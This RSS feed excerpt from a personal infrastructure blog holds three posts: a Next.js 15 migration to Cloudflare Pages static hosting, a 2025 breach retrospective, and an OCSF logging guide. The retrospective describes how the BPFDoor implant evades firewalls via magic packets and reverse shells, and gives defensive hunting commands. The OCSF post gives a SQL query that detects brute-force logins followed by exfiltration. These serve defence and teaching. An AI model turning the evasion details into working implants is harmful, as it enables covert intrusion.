            <enclosure url="https://dbgmy.life/images/blog/obsidian_dev_workflow.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[From Vercel to Cloudflare Pages: Migrating a Next.js 15 Blog to Static Edge Hosting]]></title>
            <link>https://dbgmy.life/en/blog/migrating-nextjs15-blog-from-vercel-to-cloudflare-pages</link>
            <guid isPermaLink="false">https://dbgmy.life/en/blog/migrating-nextjs15-blog-from-vercel-to-cloudflare-pages</guid>
            <pubDate>Sat, 12 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Stripping away the hidden complexity of serverless functions to bake Next.js 15 into pure static HTML on Cloudflare's global edge network.]]></description>
            <content:encoded><![CDATA[
import Image from "next/image";

# **"Does a personal tech blog really need serverless functions?"**

Years of designing and operating infrastructure have etched one golden rule into my mental model:  
**"The simpler the architecture, the fewer the failure modes; the closer to fundamentals, the easier the maintenance."**

Until recently, my blog had been happily humming along on [Vercel](https://vercel.com). To give credit where it is due, Vercel is a fantastic platform. A single `git push` triggers builds, generates preview URLs, and handles serverless functions behind the scenes without breaking a sweat.

Yet on my evening train ride home, a simple question kept nagging at me:  
*"All my content lives in a handful of static Markdown files. Why should a Node.js runtime spin up and invoke serverless compute every single time a visitor requests a page?"*

Furthermore, hearing horror stories about unexpected bandwidth spikes and free-tier throttling felt like an unnecessary operational risk. So I decided:  

**"Bake Next.js 15 into pure, immutable static HTML (`output: 'export'`) and migrate entirely to Cloudflare Pages, backed by 300+ global edge data centers."**

<Image
  src="/images/blog/cloudflare_migration.png"
  alt="Vercel to Cloudflare Pages Migration Architecture"
  width={800}
  height={450}
  className="rounded-lg mx-auto my-8 border border-primary/20 shadow-lg shadow-primary/10"
/>

---

## **Why Cloudflare Pages Static Hosting?**

When migrating Next.js to Cloudflare, you typically have two architectural routes:
1. **OpenNext (`@opennextjs/cloudflare`)**: Emulating Next.js SSR and serverless request handlers atop Cloudflare Workers.
2. **Cloudflare Pages Static Export**: Pre-rendering every page into static HTML, CSS, and JS assets at build time, deployed directly to Cloudflare's edge CDN.

I picked **Option 2: Pure Static Export** without hesitation.

- **Zero Cost & Unlimited Bandwidth**: Cloudflare Pages does not bill for egress bandwidth on static assets, even under massive traffic spikes.
- **Blazing Fast TTFB**: Cold starts do not exist. Requests are served from the nearest CDN cache in 10–30ms worldwide.
- **Zero Failure Modes**: No database pools to exhaust, no Node.js processes to crash at 3 AM.

However, simply dropping `output: 'export'` into `next.config.js` was not quite enough. Here are the four unexpected hurdles I encountered and how I resolved each one.

---

## **Battle-Tested Migration: 4 Pitfalls and Fixes**

### **Pitfall 1: `searchParams` and the CSR Prerender Bailout**

The first error that caused the static build to fail was the blog search page:

```bash
⨯ useSearchParams() should be wrapped in a suspense boundary at page "/blog/search"
Error occurred prerendering page "/blog/search".
Export encountered an error on /blog/search/page
```

Under Next.js 15 App Router, Server Components can read `searchParams` asynchronously. On Vercel with SSR, this worked seamlessly because the server handled runtime request params. In static export mode, however, query parameters like `?q=security` cannot be known ahead of time during compilation.

#### 💡 The Solution:
Decouple the static server scaffold from the client search logic:

```tsx
// src/app/blog/search/page.tsx (Server Component)
export default async function SearchPage() {
  // Load all post metadata statically at build time
  const allPosts = await getAllPosts();

  return (
    <div className="container mx-auto max-w-screen-xl">
      {/* Delegate query parsing to client component wrapped in Suspense */}
      <SearchClient allPosts={allPosts} />
    </div>
  );
}
```

Wrap the interactive client component within a `Suspense` boundary:

```tsx
// src/components/blog/SearchClient.tsx (Client Component)
export function SearchClient({ allPosts }: SearchClientProps) {
  return (
    <Suspense fallback={<SearchClientFallback />}>
      <SearchClientContent allPosts={allPosts} />
    </Suspense>
  );
}
```

The result? The page compiles cleanly into pure static HTML, and searches execute **in-memory instantaneously inside the browser**—delivering a dramatic UX upgrade with zero network latency.

---

### **Pitfall 2: Vanishing Route Handlers & RSS Feeds**

Previously, the blog generated dynamic feeds via Next.js Route Handlers (`/api/rss`, `/api/atom`, `/api/feed`).  
Under static export, dynamic Route Handlers cannot run at runtime.

#### 💡 The Solution:
1. **Invert Build Execution**: Updated `package.json` so the RSS generation script runs *before* `next build`:
   ```json
   "build": "node scripts/generate-rss.mjs && next build"
   ```
   This ensures `public/rss.xml`, `public/atom.xml`, and `public/feed.json` are generated upfront, and Next.js automatically packages them into the final `out/` export bundle.

2. **Cloudflare 200 Rewrite Rules**:
   To prevent breaking existing RSS feed subscriptions, I configured Cloudflare rewrite rules in `public/_redirects`:
   ```text
   /api/rss    /rss.xml    200
   /api/atom   /atom.xml   200
   /api/feed   /feed.json  200
   ```
   Now, any legacy client requesting `/api/rss` receives the static XML payload transparently without a URL redirect.

---

### **Pitfall 3: Enforcing `force-static` for `robots.txt` and `sitemap.xml`**

Next.js 15 metadata files (`robots.ts`, `sitemap.ts`) trigger warnings if their static behavior is left implicit:

```bash
Error: export const dynamic = "force-static" not configured on route "/robots.txt" with "output: export"
```

#### 💡 The Solution:
Explicitly declare static behavior in both files:

```ts
// src/app/robots.ts & src/app/sitemap.ts
export const dynamic = 'force-static';
```

Adding this single line resolved build ambiguities, correctly dumping `out/robots.txt` and `out/sitemap.xml`.

---

### **Pitfall 4: Giscus Comments and Build-Time Environment Inlining**

Comments on this blog are powered by [Giscus](https://giscus.app) via GitHub Discussions.  
Following the initial deployment, post pages showed a red banner:

> *"Configuration variables for the comment system could not be resolved."*

In static export builds, `NEXT_PUBLIC_*` environment variables are **inlined into JavaScript bundles during compilation**, rather than being evaluated at request time. If a variable is missing or formatted unexpectedly in the CI build step, the component breaks.

#### 💡 The Solution:
Because repository IDs and discussion category IDs are public identifiers, I refactored the component to include robust fallback defaults:

```tsx
// src/components/blog/Giscus.tsx
const DEFAULT_GISCUS = {
  repo: "Debugging-My-Life/Discussions",
  repoId: "R_kgDOO1ZMHw",
  category: "General",
  categoryId: "DIC_kwDOO1ZMH84Cq_Oh",
};

export function Giscus({
  repo = process.env.NEXT_PUBLIC_GISCUS_REPO || DEFAULT_GISCUS.repo,
  repoId = process.env.NEXT_PUBLIC_GISCUS_REPO_ID || DEFAULT_GISCUS.repoId,
  // ...
})
```
Even if CI environment variables fail to bind, the comment section remains fully functional.

---

## **Zero-Downtime DNS Cutover: Switching from Vercel to Cloudflare**

For an infrastructure practitioner, downtime is unacceptable—even for a personal blog.

1. **Verify Cloudflare Staging**: Validated all routes and search filters on `blog-dt6.pages.dev`.
2. **Custom Domain Association**: Added `www.dbgmy.life` and the apex domain `dbgmy.life` within Cloudflare Pages.
3. **DNS Cutover**: Verified edge SSL certificates transitioned to **`🟢 Active`**. During global DNS propagation, queries cleanly resolved to either Vercel or Cloudflare with zero dropped connections.
4. **Vercel Decommissioning**: Once all telemetry migrated to Cloudflare, detached domains from Vercel.

---

## **Closing Thoughts: The Power of Architectural Simplicity**

Running a quick `curl` test against the new production endpoint:

```bash
$ curl -s -I https://www.dbgmy.life
HTTP/2 200 
server: cloudflare
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
cf-cache-status: DYNAMIC
```

Seeing clean headers emitted directly from Cloudflare’s global edge is immensely satisfying.

The modern web ecosystem often encourages over-engineering: SSR, RSC, streaming hydration, and edge runtimes. Yet for content-driven publishing, **the ideal architecture is static by nature**.

By stripping out unnecessary serverless layers and embracing static HTML on a global edge CDN, we achieve the trifecta of software delivery: maximum speed, zero operating cost, and ironclad reliability. ☕
]]></content:encoded>
            <enclosure url="https://dbgmy.life/images/blog/cloudflare_migration.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[2025 Cybersecurity Incident Post-Mortem: BPFDoor, Double Ransomware, and the Collapse of Fundamentals]]></title>
            <link>https://dbgmy.life/en/blog/2025-security-review</link>
            <guid isPermaLink="false">https://dbgmy.life/en/blog/2025-security-review</guid>
            <pubDate>Sat, 22 Nov 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[An engineering retrospective on the biggest breaches of 2025—from distributed credential stuffing and Ivanti VPN zero-days with BPFDoor stealth backdoors to double ransomware infections and edge hardware compromises.]]></description>
            <content:encoded><![CDATA[
import Image from "next/image";

# **"Looking Back on an Unusually Heavy Year in SecOps"**

When you first step into information security and infrastructure engineering, staying up late dissecting packet captures and tracing attacker footprints across server logs feels genuinely thrilling. Yet the longer you spend building and defending production systems, the more a breaking news alert about a major enterprise breach triggers a quiet, heavy sigh rather than curiosity.

2025 was an exceptionally turbulent year for cybersecurity. Major e-commerce platforms, telecommunications carriers, and consumer services suffered high-profile compromises. When we peel back the headlines and examine the technical post-mortems, a sobering pattern emerges: alongside sophisticated zero-day exploits, **catastrophic breaches repeatedly stemmed from the collapse of basic authentication, backup isolation, and network segmentation fundamentals.**

In this retrospective, we will dissect four defining incident archetypes of 2025 through an engineering lens—analyzing their underlying attack mechanics and the concrete architectural controls required to stop them.

<Image
  src="/images/blog/security_2025_header_v2.png"
  alt="2025 Security Timeline and Threat Landscape"
  width={800}
  height={450}
  className="rounded-lg mx-auto my-8 border border-primary/20 shadow-lg shadow-primary/10"
/>

---

## **1. Executive Summary: The 4 Defining Breach Archetypes of 2025**

Before diving into packet- and kernel-level details, here is a structured breakdown of the major incident patterns observed in 2025 and their corresponding defensive engineering controls:

| Timeline / Sector | Primary Attack Vector | Root Cause of Defense Failure | Architectural Remediation & Detection |
| :--- | :--- | :--- | :--- |
| **Feb (E-Commerce Breach)** | **Distributed Credential Stuffing** | Reliance on simple IP-based rate limiting, easily bypassed by residential proxy botnets | • Enforce **FIDO2 / Passkeys & Adaptive MFA**<br/>• Deploy JA3/JA4 TLS fingerprinting at the edge |
| **Apr (Telecom / Infra)** | **Perimeter VPN Zero-Days + BPFDoor Stealth Backdoor** | Delayed appliance patching due to uptime concerns; legacy port-based (`netstat`) auditing | • Hunt **Raw Sockets (`AF_PACKET` / BPF)** via `/proc/net/packet`<br/>• Replace legacy VPN concentrators with **ZTNA** |
| **Jun & Aug (Double Ransomware)** | **Repeated Ransomware Encryption & Backup Destruction** | Backup storage joined to production Active Directory (AD); incomplete root-cause eviction | • **3-2-1-1-0 Backup Rule** with **WORM Object Lock**<br/>• Full credential rotation & sleeper webshell eviction |
| **Nov (Telecom Edge Compromise)** | **Rogue Femtocell (Micro-Base Station) Exploitation** | Implicit trust granted to physically exposed edge hardware; delayed internal disclosure | • **Hardware TPM Attestation & mTLS** for edge nodes<br/>• Strict micro-segmentation before core network ingress |

---

## **2. Technical Deep Dive: How the Defenses Failed and How to Harden Them**

### **① February: 1.58 Million Accounts Breached — The Evolution of Credential Stuffing**
Early in the year, a major retail platform suffered a breach exposing 1.58 million user records. The attack vector was classic **credential stuffing**: automated bots replaying leaked username-password pairs harvested from third-party data dumps.

For defensive engineers, credential stuffing is uniquely frustrating. You can harden kernel parameters, patch every CVE, and enforce strict secure coding standards, yet attackers simply **log in through the front door using valid user credentials.**

#### 🔍 Why Legacy WAF IP Rate-Limiting Failed
Traditionally, SOC teams configured Web Application Firewalls (WAFs) to block any source IP exceeding 10 failed login attempts per minute. Today, threat actors route traffic through massive **residential proxy botnets** (compromised home routers and IoT devices). Because each residential IP sends only one or two login requests before rotating, threshold-based IP blocking never triggers.

- **Actionable Engineering Controls**:
  1. **JA3 / JA4 TLS Fingerprinting**: Even when attackers rotate residential IPs on every request, their underlying automation frameworks (Python scripts, custom Go binaries, headless browsers) produce deterministic TLS Client Hello signatures. Filtering anomalous JA4 fingerprints at the CDN/WAF edge stops bot traffic before it hits your authentication microservice.
  2. **Step-Up MFA & Passkeys**: If business stakeholders resist mandatory MFA on every login due to user friction, enforce **risk-based step-up authentication** whenever a session originates from an unrecognized device fingerprint, anomalous ASN, or attempts to access sensitive profile/payment endpoints.

---

### **② April: Perimeter VPN Vulnerabilities and the 'BPFDoor' Kernel Backdoor**
Spring sent shockwaves across enterprise infrastructure with critical vulnerabilities in perimeter VPN appliances (such as Ivanti Connect Secure), accompanied by long-term persistence via the notorious **BPFDoor** Linux implant.

There is an old saying in SecOps: *"The most dangerous server in your data center is an unpatched security appliance."* Perimeter VPNs sit directly on the boundary between the public internet and internal management VLANs, often running monolithic C/C++ daemons as `root`. When organizations delay patching perimeter appliances out of fear of disrupting remote workers, the shield becomes the attacker's beachhead.

#### 🔍 How BPFDoor Evaded Detection for Over a Year
What makes **BPFDoor** a nightmare for incident responders is its complete absence of listening network ports. Standard backdoors bind to a TCP/UDP socket (`listen()`), making them immediately visible via `ss -antp` or `netstat`, and reachable only if firewall rules allow inbound connections.

BPFDoor opens **zero listening ports**. Instead, it abuses Linux **Raw Sockets (`AF_PACKET`) combined with kernel-level Berkeley Packet Filters (cBPF/eBPF)**:

```text
[External Attacker] ──(Magic Packet: Crafted payload hidden inside normal HTTP/SSH/ICMP traffic)──▶ [Server NIC]
                                                                                                         │
      ┌──────────────────────────────────────────────────────────────────────────────────────────────────┘
      ▼
[Linux Kernel Network Stack (BEFORE Netfilter / iptables Firewall!)]
  ├─▶ 1. BPFDoor's attached BPF bytecode inspects every incoming packet copy for a magic sequence (e.g., 0x7255)
  │     └─▶ If matched: Dynamically spawns an ephemeral reverse shell or alters iptables to grant access!
  └─▶ 2. Normal traffic passes untouched to Nginx/Apache/SSHD and host firewall rules
```

Because BPF packet capture hooks operate below `iptables`/`nftables` right above the network interface driver, **BPFDoor can receive command-and-control (C2) instructions through existing open ports (such as TCP 80/443 or UDP 53) even behind a strict host firewall.**

#### 🛡️ Hunting BPFDoor on Production Linux Servers
Standard port scans will never find BPFDoor. Defenders must audit raw packet sockets and attached BPF filters directly in `/proc`:

```bash
# 1. Inspect /proc/net/packet for active AF_PACKET raw sockets (type=3)
cat /proc/net/packet
# Map socket inodes back to running PIDs:
sudo lsof -i -n -P | grep -E "RAW|PACKET"
sudo find /proc/[0-9]*/fd -lname "socket:\[*" -exec ls -l {} + 2>/dev/null

# 2. List processes with attached Berkeley Packet Filters (SO_ATTACH_FILTER)
sudo ss -0bp

# 3. Detect masquerading processes executing from unlinked/deleted binaries in RAM
sudo ls -l /proc/*/exe 2>/dev/null | grep "(deleted)"
```

---

### **③ June & August: Hit by Ransomware Twice in Two Months — Why Backups Failed**
In June, a major online bookstore and ticketing platform suffered a catastrophic ransomware outage. Just two months later, in August, the exact same platform was crippled by ransomware a second time.

Getting encrypted twice within 60 days points to two fatal architectural flaws in incident recovery:
1. **Incomplete Eradication Before Restoration**: Restoring virtual machines from snapshots without identifying and closing the initial access vector—or failing to revoke compromised Active Directory Kerberos (`krbtgt`) tickets and dormant webshells—simply hands the rebuilt environment back to the attacker.
2. **Shared Control Plane Between Production and Backup Storage**: Many organizations proudly claim they perform daily backups, yet their backup appliances (NAS/SAN repositories) are **joined to the same Active Directory domain or reachable from the same management subnet as production servers**. Once attackers compromise a Domain Admin account, their very first move is to wipe all backup snapshots via the storage management API before deploying the ransomware encryptor.

#### 🛡️ The '3-2-1-1-0' Immutable Backup Architecture
Surviving modern ransomware requires designing backup infrastructure under the assumption that **your highest-privilege Domain Admin and Cloud Root credentials will be compromised**:

- **Mandatory WORM Object Lock (Compliance Mode)**: Enable hardware-enforced immutability (such as AWS S3 Object Lock in Compliance Mode or enterprise storage WORM snapshots). Even if an attacker obtains full root/admin API keys, nobody can delete or overwrite backup objects until the retention timer expires.
- **Air-Gapped Control Plane & Pull-Based Replication**: Never push backups from production servers using credentials stored on the production host. Instead, configure an isolated backup enclave on a separate identity provider (with separate MFA) to **pull** data one-way from production.

---

### **④ November: Compromised Femtocells and the High Cost of Concealment**
Late in the year, an investigation revealed that attackers had compromised telecom femtocells (micro-base stations deployed in small buildings) to intercept mobile micro-payment authentication flows—compounded by allegations that internal BPFDoor infections had gone undisclosed for over a year.

From an architectural standpoint, distributed edge hardware (femtocells, branch routers, IoT gateways) sits outside physical data center security. Attackers can physically acquire a device, dump its flash memory, extract embedded certificates, and probe upstream telecom interfaces. **Implicitly trusting traffic simply because it originates from an "internal" edge device is a fatal anti-pattern.** Every distributed node must enforce hardware-rooted trust (TPM cryptographic attestation), short-lived mTLS certificates, and strict micro-segmentation at the core ingress gateway.

Yet more damaging than any hardware vulnerability is an organizational culture that incentivizes silence over transparency. Security breaches are inevitable in complex systems; **cover-ups are a choice.** When leadership treats incident disclosure as a PR liability to be buried rather than an engineering failure to be transparently remediated, the entire defensive posture rots from within.

---

## **3. Three Engineering Principles to Carry Forward**

<Image
  src="/images/blog/ai_security_defense_v2.png"
  alt="Modern Cyber Defense Architecture Concept"
  width={800}
  height={450}
  className="rounded-lg mx-auto my-8 border border-primary/20 shadow-lg shadow-primary/10"
/>

### **1. Master the Boring Fundamentals Before Chasing 'AI Security'**
Walk floor-to-floor at any security conference today and every booth promises *"Autonomous AI SecOps."* AI is a powerful multiplier, but when perimeter VPNs are unpatched, backup repositories share Domain Admin credentials with production, and MFA is optional, an expensive AI platform will not save you.
Resilient security is built on **unrelenting execution of the unglamorous basics**: patch velocity, least-privilege IAM, network segmentation, and immutable WORM backups.

### **2. Design for 'Assume Breach' (Zero Trust in Practice)**
Every major breach in 2025 demonstrated the bankruptcy of the traditional castle-and-moat perimeter model. Whether an attacker enters via credential stuffing or a VPN zero-day, your architecture must assume the perimeter will be breached—focusing engineering effort on **preventing lateral movement and detecting kernel-level persistence (like BPFDoor) inside the network.**

### **3. Security Posture is a Leadership Decision**
When an incident hits the news, frontline engineers take the blame. Yet if maintenance windows for critical VPN patches are repeatedly denied to protect uptime metrics, and budgets for air-gapped immutable backups are cut, even the most talented SecOps team is set up to fail. Security must be treated as foundational **Reliability Engineering**, backed by executive accountability.

---

## **Wrapping Up**

2025 tested the resilience of infrastructure and security teams everywhere. Still, behind every service that stayed online are thousands of engineers quietly applying midnight patches, tuning detection rules, and auditing raw sockets behind the terminal.

Here is hoping that when we look back a year from now, our biggest headline is how remarkably quiet the year was. To every defender holding the line today—thank you for your work, and enjoy a well-earned rest. 🍻
]]></content:encoded>
            <enclosure url="https://dbgmy.life/images/blog/security_2025_header_v2.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Deep Dive into OCSF (Open Cybersecurity Schema Framework): Standardizing Security Telemetry & Data Lakes]]></title>
            <link>https://dbgmy.life/en/blog/ocsf</link>
            <guid isPermaLink="false">https://dbgmy.life/en/blog/ocsf</guid>
            <pubDate>Wed, 04 Jun 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[An engineering guide to eliminating SIEM parser maintenance debt with OCSF. Explore its 4-layer taxonomy, comparisons with CEF/ECS, real-world JSON normalization, and SQL threat-hunting queries.]]></description>
            <content:encoded><![CDATA[
import Image from "next/image";

# **The Costliest Bottleneck in SecOps: 'Parser Maintenance Hell'**

Every security engineer who has integrated next-generation firewalls, EDR agents, cloud audit trails (AWS CloudTrail), WAFs, and Identity Providers (IdPs) into a central analytics platform eventually hits the exact same wall: **every vendor records the exact same security event using completely different field names, data types, and nesting structures.**

Consider a single fundamental event—*"an external IP attempted to connect to an internal server over port 443"*:

- **Firewall Vendor A (Syslog Key-Value)**: `src=203.0.113.45 spt=54321 dst=10.10.20.15 dpt=443 act=blocked`
- **Cloud Provider B (JSON)**: `{"sourceIPAddress": "203.0.113.45", "requestParameters": {"destPort": 443}}`
- **EDR Vendor C (Nested Object)**: `{"network": {"client": {"ip": "203.0.113.45"}, "direction": "inbound"}}`

To ingest this fragmented telemetry into a SIEM or Security Data Lake, engineers spend hundreds of hours writing brittle regular expressions and maintaining complex ETL (Extract, Transform, Load) pipelines. Worse yet, the moment a vendor updates an agent version and renames a field, your downstream detection rules and SOAR playbooks silently break.

To eliminate this chronic **parser maintenance debt** and break free from proprietary SIEM vendor lock-in, the industry converged on an open standard: the **Open Cybersecurity Schema Framework (OCSF)**.

<Image
  src="/images/blog/ocsf.png"
  alt="OCSF Open Cybersecurity Schema Framework Architecture"
  width={800}
  height={450}
  className="rounded-lg mx-auto my-8 border border-primary/20 shadow-lg shadow-primary/10"
/>

---

## **1. Why Legacy Standards (CEF, LEEF, ECS) Fell Short**

Before OCSF, the security industry made several attempts to unify log formats—most notably ArcSight's **CEF (Common Event Format)**, IBM QRadar's **LEEF**, Elastic's **ECS (Elastic Common Schema)**, and Splunk's **CIM (Common Information Model)**.

However, those predecessors suffered from two structural limitations:

1. **Platform Lock-In**: CEF was built for ArcSight, CIM for Splunk, and ECS for the Elastic Stack. Migrating petabytes of historical telemetry to a vendor-neutral cloud data lake (built on Apache Iceberg, Parquet, and Trino/Athena) required rewriting every normalization pipeline and detection rule from scratch.
2. **Inability to Model Cloud-Native & Identity Context**: Flat key-value formats like CEF were designed in the era of on-premise perimeter firewalls. They struggle to represent deeply nested modern telemetry—such as Kubernetes pod security contexts, AWS IAM role-chaining sessions, or microservices API payloads—without resorting to cryptic custom fields (`cs1`, `cs2`, `flexString1`).

Co-founded by AWS, Splunk, CrowdStrike, Palo Alto Networks, Rapid7, Cloudflare, Okta, and over 100 security organizations, **OCSF** flips the paradigm from *Schema-on-Read* to **vendor-neutral *Schema-on-Write***: security tools and telemetry pipelines emit logs directly in a strongly typed, open schema from day one.

| Feature | Legacy Formats (CEF / LEEF) | Platform Schemas (CIM / ECS) | **OCSF (Open Cybersecurity Schema Framework)** |
| :--- | :--- | :--- | :--- |
| **Governance** | Single SIEM Vendor | Single Platform Vendor (Splunk, Elastic) | **Open-Source Consortium (100+ Security & Cloud Vendors)** |
| **Data Structure** | Flat Key-Value Strings | JSON (Tied to specific search engines) | **Hierarchical, Strongly Typed (JSON, Apache Parquet, Avro)** |
| **Normalization Point** | Post-ingestion SIEM parsers | Ingest-node pipelines | **At the telemetry source or lightweight edge pipeline** |
| **Storage Efficiency** | Raw text (high storage & compute cost) | Inverted search indexes (costly retention) | **Optimized for Columnar Data Lakes (Parquet / Apache Iceberg)** |
| **Extensibility** | Ambiguous custom slots (`cs1`, `cn1`) | Breaks cross-platform compatibility | **Modular Profiles & Extensions without breaking core schema** |

---

## **2. Dissecting OCSF's 4-Layer Architecture**

OCSF achieves consistency across diverse cybersecurity domains through a strictly modular **4-layer taxonomy**:

```text
[1. Category (High-Level Domain)] ── e.g., System Activity (1), IAM (3), Network Activity (4)
       │
       ▼
[2. Event Class (Specific Event)] ── e.g., Process Activity (1007), Authentication (3002), Network Traffic (4001)
       │
       ▼
[3. Objects & Attributes (Building Blocks)] ── Reusable structs (Actor, Device, Endpoint, File, Malware)
       │
       ▼
[4. Profiles & Extensions (Context Overlays)] ── Cross-cutting context (Cloud Profile, Container Profile)
```

### ① Data Types, Attributes & Reusable Objects
At its foundation, OCSF defines strict scalar **Attributes** (`ip_t`, `port_t`, `timestamp_t`) and composes them into reusable **Objects**.
An object like `Device`, `User`, `Process`, `File`, or `Network Endpoint` is defined once and reused identically across every event class. Whether you are inspecting an EDR process creation alert or a VPN authentication log, the source IP is *always* `src_endpoint.ip` and the acting user is *always* `actor.user.name`.

### ② Categories & Event Classes (Numeric UID Optimization)
Every OCSF event carries both human-readable names and integer identifiers (`category_uid`, `class_uid`, `type_uid`). Why integers? Because when querying petabytes of Apache Parquet files in a Security Data Lake, filtering on an integer column (`WHERE class_uid = 3002 AND status_id = 2`) leverages Parquet dictionary encoding and predicate pushdown—executing orders of magnitude faster and cheaper than string regex matching.

| Category UID | Category Name | Key Event Classes (`class_uid`) | Primary Telemetry Sources |
| :---: | :--- | :--- | :--- |
| **1** | **System Activity** | `1001` File System Activity<br/>`1007` Process Activity | EDR (CrowdStrike, SentinelOne), Sysmon, Linux Auditd |
| **2** | **Findings** | `2001` Security Finding<br/>`2002` Vulnerability Finding<br/>`2004` Detection Finding | CSPM, Vulnerability Scanners, SIEM/SOAR Alerts, GuardDuty |
| **3** | **Identity & Access Management (IAM)** | `3001` Account Change<br/>`3002` Authentication<br/>`3003` Authorize Session | Okta, Microsoft Entra ID, AWS IAM, Linux PAM / Active Directory |
| **4** | **Network Activity** | `4001` Network Activity<br/>`4002` HTTP Activity<br/>`4003` DNS Activity | Next-Gen Firewalls, VPC Flow Logs, WAF, Reverse Proxies, DNS |
| **6** | **Application Activity** | `6003` API Activity<br/>`6001` Web Resources Activity | AWS CloudTrail, Kubernetes Audit Logs, SaaS Audit Trails |

### ③ Profiles (Composable Overlays)
A network connection occurring inside an AWS EKS Kubernetes pod requires cloud and container metadata that an on-premise router log does not. Instead of bloating every event class, OCSF uses **Profiles** (`cloud`, `container`, `host`, `security_control`) that dynamically overlay standardized attributes (`cloud.account.uid`, `container.image.tag`) onto any base Event Class.

---

## **3. Real-World Normalization: Raw Vendor Logs vs. OCSF JSON**

Let's examine how two completely different authentication failure logs—one from a Linux OpenSSH daemon and one from an enterprise Cloud IdP—are normalized into a single OCSF `Authentication (class_uid: 3002)` payload.

### Before: Heterogeneous Raw Logs
```text
# 1. Linux OpenSSH Syslog
Oct 22 14:22:01 prod-web-01 sshd[19284]: Failed password for invalid user admin from 198.51.100.77 port 49152 ssh2

# 2. Enterprise Cloud IdP JSON Log
{"eventType": "user.session.start", "outcome": {"result": "FAILURE", "reason": "INVALID_CREDENTIALS"}, "actor": {"alternateId": "admin@example.com"}, "client": {"ipAddress": "198.51.100.77", "geographicalContext": {"country": "US"}}}
```

### After: Normalized OCSF `Authentication (class_uid: 3002)` Event
```json
{
  "category_uid": 3,
  "category_name": "Identity & Access Management",
  "class_uid": 3002,
  "class_name": "Authentication",
  "activity_id": 1,
  "activity_name": "Logon",
  "time": 1761142921000,
  "severity_id": 3,
  "severity": "Medium",
  "status_id": 2,
  "status": "Failure",
  "status_detail": "INVALID_CREDENTIALS",
  "type_uid": 300201,
  "actor": {
    "user": {
      "name": "admin",
      "uid": "admin@example.com",
      "type_id": 1
    }
  },
  "src_endpoint": {
    "ip": "198.51.100.77",
    "port": 49152,
    "location": {
      "country": "US"
    }
  },
  "dst_endpoint": {
    "hostname": "prod-web-01",
    "svc_name": "sshd"
  },
  "metadata": {
    "version": "1.3.0",
    "product": {
      "name": "OpenSSH / CloudIdP",
      "vendor_name": "OpenBSD / EnterpriseIdP"
    }
  }
}
```

#### 💡 Key Engineering Details in the OCSF Payload
1. **Deterministic `type_uid` (`300201`)**:
   - Calculated as `class_uid (3002) * 100 + activity_id (1: Logon) = 300201`.
   - Detection engineers can filter specifically for failed logon attempts across all identity sources using a single integer comparison: `WHERE type_uid = 300201 AND status_id = 2`.
2. **Consistent Endpoint Topology**:
   - Regardless of whether the log originates from SSH, Windows Kerberos, Okta, or a VPN concentrator, the client IP is always `src_endpoint.ip` and the target service is always `dst_endpoint`.

---

## **4. Threat Hunting with SQL on an OCSF Security Data Lake**

When OCSF records are stored in **Apache Parquet / Iceberg** tables (e.g., via Amazon Security Lake, Snowflake, Databricks, or ClickHouse), cross-domain threat hunting becomes remarkably clean.

Below is a production-ready **Trino / Amazon Athena SQL query** that correlates **IAM Authentication (`3002`)** and **Network Activity (`4001`)** to detect an attacker who performed a brute-force attack, succeeded in logging in, and subsequently initiated high-volume outbound data exfiltration:

```sql
-- [Threat Hunting Query]
-- Identify source IPs with >= 10 failed logons in the last 24h that subsequently
-- achieved a successful logon (status_id = 1) and initiated outbound C2 traffic.

WITH brute_force_ips AS (
    SELECT
        src_endpoint.ip AS attacker_ip,
        COUNT(*) AS fail_count,
        COUNT(DISTINCT actor.user.name) AS targeted_users
    FROM ocsf_security_lake.iam_authentication
    WHERE class_uid = 3002           -- Authentication
      AND activity_id = 1            -- Logon
      AND status_id = 2              -- Failure
      AND time >= to_unixtime(now() - interval '24' hour) * 1000
    GROUP BY src_endpoint.ip
    HAVING COUNT(*) >= 10
),
compromised_sessions AS (
    SELECT
        a.src_endpoint.ip AS attacker_ip,
        a.actor.user.name AS compromised_user,
        a.dst_endpoint.hostname AS victim_host,
        a.time AS logon_time
    FROM ocsf_security_lake.iam_authentication a
    INNER JOIN brute_force_ips b
        ON a.src_endpoint.ip = b.attacker_ip
    WHERE a.class_uid = 3002
      AND a.activity_id = 1
      AND a.status_id = 1            -- Success!
      AND a.time >= to_unixtime(now() - interval '24' hour) * 1000
)
SELECT
    c.attacker_ip,
    c.compromised_user,
    c.victim_host,
    n.dst_endpoint.ip AS outbound_c2_ip,
    n.dst_endpoint.port AS outbound_port,
    n.traffic.bytes_out
FROM compromised_sessions c
INNER JOIN ocsf_security_lake.network_activity n
    ON c.victim_host = n.src_endpoint.hostname
WHERE n.class_uid = 4001             -- Network Activity
  AND n.time >= c.logon_time
ORDER BY n.traffic.bytes_out DESC;
```

Notice that this single query correlates Linux SSH, Windows Active Directory, Cloud IdPs, VPC Flow Logs, and on-premise firewalls without a single vendor-specific `CASE WHEN` or regex extraction.

---

## **5. Practical Implementation Checklist for SecOps Teams**

If you are planning to adopt OCSF using telemetry pipelines like **Vector, Fluent Bit, Cribl Stream, or AWS Security Lake**, keep these three operational best practices in mind:

1. **Preserve Unmapped Vendor Fields in `unmapped`**:
   - Never silently drop proprietary vendor attributes that lack a direct 1:1 OCSF counterpart. Store them inside the standard OCSF `unmapped` map object or `raw_data` field so incident responders retain 100% forensic fidelity during root-cause investigations.
2. **Pin `metadata.version` and Use Apache Iceberg**:
   - As the OCSF specification evolves (`v1.1.0` → `v1.2.0` → `v1.3.0`), explicitly tag every event with `metadata.version` and back your Parquet files with **Apache Iceberg** so schema evolution never breaks historical queries.
3. **Prioritize High-Volume Telemetry First**:
   - Do not attempt to migrate 50 log sources simultaneously. Start with the four highest-volume classes that consume 80% of SIEM license costs: **Network Activity (`4001`), DNS Activity (`4003`), API Activity (`6003`), and Authentication (`3002`)**.

---

## **Conclusion: Reclaiming Telemetry Sovereignty**

For over a decade, enterprises have been held hostage by proprietary SIEM schemas—unable to switch analytics platforms because thousands of custom parsers and detection rules were locked into a single vendor's query language.

